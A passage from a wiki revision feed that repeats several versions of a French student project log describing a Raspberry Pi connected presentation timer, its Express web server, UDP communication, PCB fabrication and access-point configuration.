Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49395</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49395"/>
				<updated>2019-01-20T22:44:57Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Séance 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49394</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49394"/>
				<updated>2019-01-20T22:39:37Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Séance 2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49393</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49393"/>
				<updated>2019-01-20T22:02:12Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Séance 5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
